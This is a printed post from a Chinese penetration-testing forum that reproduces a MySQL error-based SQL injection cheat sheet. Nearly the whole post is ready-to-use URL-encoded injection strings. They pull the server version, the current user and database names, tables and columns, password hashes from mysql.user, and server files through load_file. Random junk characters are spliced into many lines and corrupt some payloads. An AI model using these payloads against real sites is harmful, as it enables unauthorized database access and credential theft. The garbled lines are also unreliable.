中国网络渗透测试联盟

标题: Mysql暴错注入参考(pdf) [打印本页]

作者: admin    时间: 2013-7-27 11:00
标题: Mysql暴错注入参考(pdf)
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
3 N' w5 r6 n' z5 P+ N/ |: ]# A5 L- [8 c
1 H* a. [2 z6 r) l8 }
Mysql暴错注入参考(pdf),每天一贴。。。
8 R& `: N4 S) t5 q
3 G$ s1 F4 x) E% eMySql Error Based Injection Reference
- T7 U% T* F% n$ f: z. [[Mysql暴错注入参考]) n5 o. p5 |( q6 R) C# |
Authornig0s1992. k0 ~3 C/ y- {3 ]" f' X& {
Blog:http://pnig0s1992.blog.51cto.com/
# S+ w, o! g: l% ]; {' L% T* }TeAm:http://www.FreeBuf.com/9 i0 i) p: b4 l& `  f
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功& B) U* |; S9 c7 K
小部分版本使用name_const()时会报错.可以用给出的Method.2测试) K2 Z8 @/ Q1 E1 c; C4 F' ?
查询版本:8 d) K) j1 ~+ ~+ Q; R
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
: r7 t, o) `6 U" d3 Wjoin+(select+name_const(@@version,0))b)c)
+ e3 G! u# A" h, o+ lMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro$ b+ E; \+ u, c* U; B; P& M: K
up by a)b)2 E  x7 X" G) q/ B- q
查询当前用户:. d% s. s# l' Z1 O. I! l3 Z$ |
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
6 p4 G8 q+ n6 C3 v! eMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
! V% ~" {3 e5 q9 rand(0)*2))x+from+information_schema.tables+group+by+x)a)- \0 u: s! _" Y, y, D0 `6 o+ f
查询当前数据库:4 y& Z' @  B" @7 `
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)  f$ g! ~$ Y% l, G0 K, k4 f3 E7 M
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo9 G9 V; j' {; ^1 v
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
& m9 M* ^$ a* N5 N  B2 l依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
1 P, V/ r! K/ z% [  H+ hLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
) `4 q) j+ G1 T; t; _9 t顺序替换
) x# P1 d6 O" u* C: U( Z; [爆指定库数目:; [$ O: j! r. p  N2 a! W% _
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
# N& P# \! M- Xable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group" b, d- Z: A# W  D
+by+x)a)+and+1=1 0x6D7973716C=mysql' I7 c5 Z; P4 u) ]
依次爆表:
! j2 a( o6 h' Cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t" `; ^2 i" I6 N% W  K$ r+ f/ O
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta" p1 W( ~6 p4 F4 s
bles+group+by+x)a)+and+1=1
; {8 Z) U) k$ y9 z/ c+ |0x6D7973716C=Mysql 将n顺序替换, @- z- |$ }+ O- S3 n
爆表内字段数目:; s* A" T9 e2 A. @# m! k
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
& b+ k! D/ V; i1 j7 t, v- ]+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
8 \6 D* L0 Y8 ?0 q& r" e0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
  O- w7 R& g' {: B+ w0 t依次爆字段:
- s9 z& W# {) \9 n( F$ m( R2 Y) Nand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
3 I0 C+ E6 O+ U/ @0 q. l+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
6 _% B1 B8 {4 O2 y- {0 }( Qloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
( k6 e$ `$ ?; Q  _依次暴内容:* y2 z5 T3 k9 [1 e  H" {: ~; V
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
5 H) y# K) O3 a7 A1 Rma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
3 `# ^5 q& y$ n3 O+ N( D将n顺序替换( Y+ F/ \/ g( I$ u+ i
爆文件内容:
) Q+ ?9 s$ q8 ^5 rand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
9 J9 D3 S( \2 }from+information_schema.tables+group+by+a)b)
' b% Y5 N1 u+ k. j- i1 _, P0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
2 X; R* k$ W9 [) D' wThx for reading.. u3 V( }2 T+ c7 B

+ j! ~  `& j9 |7 Z: c不要下载也可以,
: V4 W* u& D3 {* E* |9 q  [& U




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2